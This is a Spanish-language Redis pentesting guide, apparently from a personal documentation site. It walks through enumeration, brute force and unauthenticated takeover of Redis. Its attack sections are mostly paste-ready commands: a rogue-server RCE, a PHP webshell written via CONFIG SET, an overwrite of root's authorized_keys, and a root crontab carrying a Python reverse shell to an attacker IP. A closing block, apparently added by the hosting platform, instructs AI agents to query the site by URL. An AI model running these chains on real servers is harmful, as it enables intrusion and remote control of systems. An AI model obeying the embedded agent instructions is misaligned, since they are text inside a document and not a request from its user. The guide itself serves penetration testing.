# Redis

> Es utilizado por millones de desarrolladores como base de datos, caché, motor de streaming y agente de mensajes.

## Laboratorio

Para poder realizar pruebas contra un entorno de redis de forma fácil, se puede utilizar un contenedor de docker:

```bash
sudo docker run -d --name redis -p 6379:6379 redis
```

La herramienta que utilizaremos para conectarnos "redis-cli" se encuentra en el paquete de "redis-tools":

```bash
sudo apt install redis-tools -y
```

Conexión al redis:

```bash
redis-cli -h 127.0.0.1
```

Conexión al contenedor de docker:

```bash
sudo docker exec -it redis sh
```

Para la explotación de múltiples vulnerabilidades, es necesario que existan varios elementos comunes en entorno de producción. Para ello, dentro del contenedor se ejecutarán los siguientes comandos:

```bash
mkdir -p /root/.ssh
```

## Enumeración

Se puede comprobar de diferentes formas si un servidor cuenta con el puerto 6379 abierto y si en este está siendo ejecutado el servicio de Redis.

* Nmap:

```bash
IP=192.168.1.222
sudo nmap --script=redis-info -sV -p 6379 $IP
```

* Telnet:

```bash
IP=192.168.1.222
telnet $IP 6379
```

* Netcat:

<pre class="language-bash"><code class="lang-bash"><strong>IP=192.168.1.222
</strong><strong>nc -vn $IP 6379
</strong></code></pre>

* Redis-cli:

```bash
IP=192.168.1.222
redis-cli -h $IP -p 6379
```

* Metasploit:

```bash
use auxiliary/scanner/redis/redis_server
set RHOSTS 192.168.1.222
```

Si el servidor no cuenta con autenticación, se podrán ejecutar múltiples comandos con el objetivo de enumerar información del servidor, e incluso, llegar a obtener ejecución de código en el servidor.

### Conexión

```bash
IP=192.168.1.222
PORT=6379
PASS=<contraseña>
redis-cli -h $IP -p $PORT
redis-cli -h $IP -p $PORT -a $PASS
```

### Autenticación

**Por defecto, Redis no cuenta con autenticación**, esta puede (y debe) ser establecida posteriormente, bien con autenticación:

* usuario+contraseña.
* Solo contraseña. En el este caso, el usuario por defecto será `default`.

Para autenticarse en redis, se puede utilizar el siguiente comando:

```bash
AUTH <usuario> <contraseña>
```

### Comandos de redis

Algunos comandos comunes para enumerar información del servidor:

```bash
INFO
client list
CONFIG GET *
```

Crear una clave-valor y obtener el valor de una clave:

```bash
keys *
set <nombre de la clave> <valor de la clave>
get <nombre de la clave>
type <nombre de la clave>
```

Para una mejor comprensión de los comandos, será mejor consultar la documentación:

* <https://redis.io/docs/data-types/tutorial/>

### Rutas interesantes

```bash
/var/www/html
/home/redis/.ssh
/root/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron
```

## Ataques sin autenticación

Para conseguir ejecución de código remoto en un servidor redis, primero se deberá conseguir acceso al servicio.

* [ ] Acceso directo como `anonymous`. \[[Aquí](#conexion)]
* [ ] Ataque de fuerza bruta. \[[Aquí](#fuerza-bruta)]
* [ ] Obtención de credenciales en otros servicios/aplicaciones.
* [ ] Vía MitM.
* [ ] ...

### Conexión directa

Bien porque no cuenta con credenciales, o porque se han obtenido credenciales por otros medios.&#x20;

Más info aquí -> \[[Aquí](#conexion)]

### Fuerza bruta

* nmap:

```bash
sudo nmap --script redis-brute -p 6379 $IP
```

* metasploit:

```bash
use auxiliary/scanner/redis/redis_login
set RHOSTS <IP>
```

<table><thead><tr><th width="225">Comando</th><th>Descripción</th></tr></thead><tbody><tr><td>info</td><td>Muestra los información y datos del servidor.</td></tr><tr><td>select &#x3C;n></td><td>Selecciona una base de datos que utilizar. Por defecto, Redis tiene 16 bases de datos disponibles (0 - 15), siendo 0 la utilizada normalmente.</td></tr><tr><td>keys &#x3C;pattern></td><td>Muestra todas las claves que coincidan con la expresión regular indicada.</td></tr><tr><td>type &#x3C;clave></td><td>Muestra el tipo del valor almacenado en la clave.</td></tr><tr><td>get &#x3C;clave></td><td>Muestra la clave</td></tr><tr><td>hgetall &#x3C;clave></td><td>Muestra todos los pares campo/valor almacenados en la clave hash.</td></tr><tr><td>hget &#x3C;campo> &#x3C;valor></td><td>Obtener el valor del campo especificado en la clave hash.</td></tr></tbody></table>

## Ataques con autenticación

* [ ] Redis (<=5.X) RCE. \[[Aquí](#redis-less-than-5.x-rce)]
* [ ] Subir una webshell. \[[Aquí](#webshell)]
* [ ] Añadir una clave ssh al servidor. \[[Aquí](#ssh)]
* [ ] Añadir un crontab. \[[Aquí](#crontab)]

### Redis (<=5.X) RCE

Para ello, se pueden utilizar las herramientas:

* rogue-server: <https://github.com/n0b0dyCN/redis-rogue-server>

```bash
IP=<IP de redis>
ATIP=<IP del atacante>
python3 redis-rogue-server.py --rhost=$IP --rport=$PORT --lhost $ATPI
```

* metasploit: <https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec>

```bash
use exploit/linux/redis/redis_replication_cmd_exec
set RHOSTS <IP>
```

### Webshell

Si el mismo servidor aloja una aplicación web, se podrá intentar subir una *webshell.*

Algunas rutas comunes son: [Reconocimiento](/pentesting-en-aplicaciones-web/general/reconocimiento.md#alojamiento-de-la-aplicacion-web)

```bash
config set dir /var/www/html/
config set dbfilename shell.php
set test "<?php echo system($_GET['cmd']); ?>"
save
```

Se pueden consultar otras opciones de webshells en: [Webshell](/pentesting-en-aplicaciones-web/general/explotacion/webshell.md#php)

```bash
curl http://<IP del redis>/shell.php?cmd=whoami
```

### SSH

#### Sobreescribe el fichero authorized\_keys

1. Manual.
2. Automatizado.

**Método 1 - Manual**

Este método sobreescribe el fichero de authorized\_keys, por lo que, no debería utilizarse en entornos de producción.

1. Se crea una clave privada y pública:

```bash
ssh-keygen -t rsa
```

2. Crear un fichero con la clave pública creada:

```bash
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > public_key.txt
```

3. Copiar la clave pública en el servidor de redis:

```bash
IP=<IP de redis>
cat public_key.txt | redis-cli -h $IP -x set ssh_key
```

4. Almacenar la clave pública en el fichero `authorized_keys`.

<pre class="language-bash"><code class="lang-bash"><strong>redis-cli -h 192.168.1.222 config set dir /root/.ssh
</strong>redis-cli -h 192.168.1.222 config set dbfilename "authorized_keys"
redis-cli -h 192.168.1.222 save
</code></pre>

5. Acceder vía SSH con la clave privada:

```bash
ssh -i id_rsa redis@192.168.1.222
```

**Método 2 - Automatizado**

Se puede realizar de forma automatizada con la herramienta:&#x20;

* <https://github.com/Avinash-acid/Redis-Server-Exploit>

### Crontab

Primero, dejaremos el puerto de recepción a la escucha:

```bash
sudo rlwrap nc -lnvp 80
```

Este comando contiene un crontab que al ejecutarse devuelve una reverse shell con python. Habrá que modificar la IP y puerto de recepción (como siempre, preferiblemente los puertos 80 y 443):

```bash
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<IP atacante>\",<Puerto a la escucha>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
```

Añadir el comando anterior, previamente modificados y ejecutarlo para añadir el valor en la clave "1" que se creará en redis:

```bash
<comando anterior> | redis-cli -h $IP -x set 1
```

Se crea el fichero que, al llegar a ejecutarse, nos devolverá la shell:

```bash
redis-cli -h 192.168.1.222 config set dir /var/spool/cron/crontabs/
redis-cli -h 192.168.1.222 config set dbfilename root
redis-cli -h 192.168.1.222 save
```

## Referencias

* <https://github.com/Jean-Francois-C/Database-Security-Audit/blob/master/Redis%20database%20penetration%20testing>
* <https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis>
* <https://ppn.snovvcrash.rocks/pentest/infrastructure/dbms/redis>
* <https://pentesting.mrw0l05zyn.cl/explotacion/servicios/6379-tcp-redis>
* <https://lzone.de/cheat-sheet/Redis>
* <https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html>
* <https://redis.io/commands/set/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/servicios/redis.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
